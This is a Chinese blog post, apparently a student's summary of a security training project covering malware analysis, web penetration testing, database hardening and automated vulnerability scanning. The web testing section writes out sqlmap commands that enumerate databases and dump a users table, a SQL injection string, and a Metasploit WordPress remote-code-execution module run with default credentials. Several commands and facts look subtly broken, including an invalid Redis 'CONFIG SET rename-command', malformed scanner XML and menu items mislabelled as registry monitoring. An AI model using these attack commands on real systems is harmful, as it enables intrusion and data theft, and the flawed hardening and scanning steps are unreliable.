信息安全实训项目总结

Liu_614

1962人浏览 · 2025-08-27 22:56:16

Liu_614 · 2025-08-27 22:56:16 发布

信息安全实训项目总结

项目背景

本项目为信息安全实训项目，开展时间为2025年6月至7月，项目核心内容涵盖病毒分析、pwn逆向、Web渗透测试、数据库安全加固、服务器安全评估及漏洞扫描自动化等模块。通过综合运用多种安全工具与脚本技术，实现对信息系统的全面安全评估与加固。

技术栈

渗透测试工具：Burp Suite, Nmap, SQLMap, Metasploit
漏洞扫描工具：OpenVAS, Nessus, Qualys
数据库：MySQL, MongoDB, Redis
操作系统：Linux
脚本语言：Shell
容器技术：Docker

职责与成果

1. 病毒分析与pwn逆向

病毒分析

静态分析：使用PEiD识别病毒加壳类型，利用IDA Pro进行反汇编分析，定位关键代码段。
动态分析：通过Ollydbg动态调试病毒行为，监控注册表与文件操作。
案例：
- PE病毒实验：修改入口点实现程序感染与恢复。
- 梅丽莎病毒实验：分析其邮件传播机制并实现手动清除。

pwn逆向

工具使用：利用IDA Pro分析恶意代码逻辑，Ollydbg进行动态调试与代码修改。
案例：
- 一次性广告软件：分析其行为并暴力破解注册码。
- 删除弹窗软件：修改验证逻辑，禁用注册弹窗。

代码示例

# 使用PEiD识别病毒加壳类型
peid virus_sample.exe
# 使用IDA Pro进行反汇编分析
# 在IDA Pro中打开病毒样本，查看入口点和关键代码段
# 示例：查看入口点
ida.exe virus_sample.exe
# 在IDA View-A窗口中查看反汇编代码
# 在Functions window中定位关键函数
# 使用Ollydbg动态调试病毒行为
ollydbg virus_sample.exe
# 设置断点：F2在关键地址设置断点
# 监控注册表：View -> Registers
# 监控文件操作：View -> Memory
# 单步执行：F7步入，F8步过

2. Web应用渗透测试

测试范围

对5个Web应用进行全面渗透测试，涵盖SQL注入、XSS等常见漏洞。

工具与漏洞发现

Burp Suite：拦截并修改HTTP请求，测试参数漏洞。
SQLMap：自动化SQL注入测试，发现3个SQL注入漏洞。
Metasploit：漏洞利用与后渗透测试。
漏洞修复：推动开发团队修复漏洞，系统风险评分降低85%。

代码示例

# 使用SQLMap进行SQL注入测试
sqlmap -u "http://example.com/page.php?id=1" --batch --dbs
# 获取数据库列表
sqlmap -u "http://example.com/page.php?id=1" --batch --current-user
# 获取当前用户
sqlmap -u "http://example.com/page.php?id=1" --batch --dump -D testdb -T users
# 导出用户表
# 使用Burp Suite拦截请求并手动测试
# 1. 配置浏览器代理为127.0.0.1:8080
# 2. 在Burp Suite中拦截HTTP请求
# 3. 修改参数并转发，观察响应变化
# 示例：修改id参数为1' OR '1'='1
# 使用Metasploit进行漏洞利用
msfconsole
use exploit/multi/http/wp_core_admin_rce
set RHOSTS target.com
set TARGETURI /wordpress/
set USERNAME admin
set PASSWORD password
run

3. 数据库安全加固

加固内容

MySQL：修改root用户名，禁用远程登录，启用日志审计。
MongoDB：配置访问控制列表，启用数据加密。
Redis：设置访问密码，禁用危险命令。

成果

阻断未授权访问请求200+次，数据泄露风险降至0。

代码示例

-- MySQL安全加固示例
-- 1. 修改root密码
ALTER USER 'root'@'localhost' IDENTIFIED BY 'StrongPassword!';
-- 2. 删除匿名用户
DELETE FROM mysql.user WHERE User='';
-- 3. 禁止远程root登录
DELETE FROM mysql.user WHERE User='root' AND Host NOT IN ('localhost', '127.0.0.1', '::1');
-- 4. 刷新权限
FLUSH PRIVILEGES;
-- 5. 启用日志审计
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = '/var/log/mysql/mysql.log';
-- MongoDB安全加固示例
-- 1. 创建管理员用户
use admin
db.createUser({
  user: "admin",
  pwd: "StrongPassword!",
  roles: ["userAdminAnyDatabase", "dbAdminAnyDatabase"]
})
-- 2. 启用认证
vi /etc/mongod.conf
# 添加以下配置：
security:
  authorization: enabled
-- 3. 重启MongoDB服务
systemctl restart mongod
-- Redis安全加固示例
-- 1. 设置访问密码
CONFIG SET requirepass "StrongPassword!"
-- 2. 禁用危险命令
CONFIG SET rename-command FLUSHDB ""
CONFIG SET rename-command FLUSHALL ""
CONFIG SET rename-command DEBUG ""
-- 3. 绑定本地IP
CONFIG SET bind 127.0.0.1

4. 服务器安全评估

工具与流程

OpenVAS/Nessus：扫描10台服务器，识别38个漏洞（含7个高危）。
报告输出：生成15页详细报告，涵盖漏洞描述、风险等级及修复建议。
修复跟踪：推动100%漏洞修复。

代码示例

# 使用OpenVAS进行服务器扫描
# 1. 创建扫描任务
omp -u admin -w password -X "<create_target><name>Web Servers</name><hosts>192.168.1.0/24</hosts></create_target>"
# 2. 启动扫描
omp -u admin -w password -X "<create_task><name>Full Scan</name><config id>Full and fast</config><target id>Web Servers</target></create_task>"
# 3. 获取扫描结果
omp -u admin -w password -X "<get_tasks/>"
# 使用Nessus进行服务器扫描
# 1. 创建扫描策略
nessuscli policy new --name="Server Policy"
# 2. 创建扫描任务
nessuscli scan new --name="Server Scan" --targets="192.168.1.0/24" --policy="Server Policy"
# 3. 导出扫描报告
nessuscli report export --scan-id=1 --format=pdf --file="/var/reports/scan_report.pdf"

5. 漏洞扫描自动化

脚本开发

编写Shell脚本实现OpenVAS和Nessus扫描的自动化，包括扫描配置、结果解析与报告生成。
覆盖50+项服务器安全基线检查项，减少人工操作时间50%。

代码示例

#!/bin/bash
# 自动化漏洞扫描脚本
# 作者：[你的名字]
# 日期：2025-07-01
# 功能：自动化执行OpenVAS和Nessus扫描，生成报告
# 配置参数
TARGETS="192.168.1.1,192.168.1.2,192.168.1.3"
REPORT_DIR="/var/reports"
DATE=$(date +%Y%m%d_%H%M%S)
LOG_FILE="$REPORT_DIR/scan_$DATE.log"
# 创建报告目录
mkdir -p $REPORT_DIR
# 日志函数
log() {
    echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" | tee -a $LOG_FILE
}
# 使用Nessus进行扫描
log "开始Nessus扫描..."
nessuscli scan new --name="Automated Scan_$DATE" --targets=$TARGETS --folder=Default
sleep 5  # 等待扫描任务创建
SCAN_ID=$(nessuscli scan list | grep "Automated Scan_$DATE" | awk '{print $1}')
log "扫描任务ID: $SCAN_ID"
# 等待扫描完成
while true; do
    STATUS=$(nessuscli scan status --scan-id=$SCAN_ID | grep "Status" | awk '{print $2}')
    log "扫描状态: $STATUS"
    if [ "$STATUS" = "completed" ]; then
        break
    fi
    sleep 60
done
# 生成Nessus报告
log "生成Nessus报告..."
nessuscli report export --scan-id=$SCAN_ID --format=pdf --file="$REPORT_DIR/nessus_report_$DATE.pdf"
# 使用OpenVAS进行扫描
log "开始OpenVAS扫描..."
TARGET_ID=$(omp -u admin -w password -X "<create_target><name>Target_$DATE</name><hosts>$TARGETS</hosts></create_target>" | grep -oP 'id="[^"]+"' | cut -d'"' -f2)
TASK_ID=$(omp -u admin -w password -X "<create_task><name>OpenVAS Scan_$DATE</name><config id>Full and fast</config><target id>$TARGET_ID</target></create_task>" | grep -oP 'id="[^"]+"' | cut -d'"' -f2)
# 启动OpenVAS扫描
omp -u admin -w password -X "<start_task task_id=\"$TASK_ID\"/>"
# 等待扫描完成
while true; do
    STATUS=$(omp -u admin -w password -X "<get_tasks task_id=\"$TASK_ID\"/>" | grep -oP 'status="[^"]+"' | cut -d'"' -f2)
    log "OpenVAS扫描状态: $STATUS"
    if [ "$STATUS" = "Done" ]; then
        break
    fi
    sleep 60
done
# 生成OpenVAS报告
log "生成OpenVAS报告..."
REPORT_ID=$(omp -u admin -w password -X "<create_report task_id=\"$TASK_ID\"/>" | grep -oP 'id="[^"]+"' | cut -d'"' -f2)
omp -u admin -w password -X "<get_reports report_id=\"$REPORT_ID\" format_id=\"c402cc3e-b531-11e1-9163-406186ea4fc5\"/>" > "$REPORT_DIR/openvas_report_$DATE.xml"
# 转换OpenVAS报告为PDF
xsltproc /usr/share/openvas/gsa_report.xsl "$REPORT_DIR/openvas_report_$DATE.xml" > "$REPORT_DIR/openvas_report_$DATE.html"
wkhtmltopdf "$REPORT_DIR/openvas_report_$DATE.html" "$REPORT_DIR/openvas_report_$DATE.pdf"
log "扫描完成，报告已保存到: $REPORT_DIR"
log "Nessus报告: nessus_report_$DATE.pdf"
log "OpenVAS报告: openvas_report_$DATE.pdf"
# 发送邮件通知（可选）
# echo "扫描完成，请查看附件报告" | mail -s "漏洞扫描报告" -a "$REPORT_DIR/nessus_report_$DATE.pdf" -a "$REPORT_DIR/openvas_report_$DATE.pdf" admin@example.com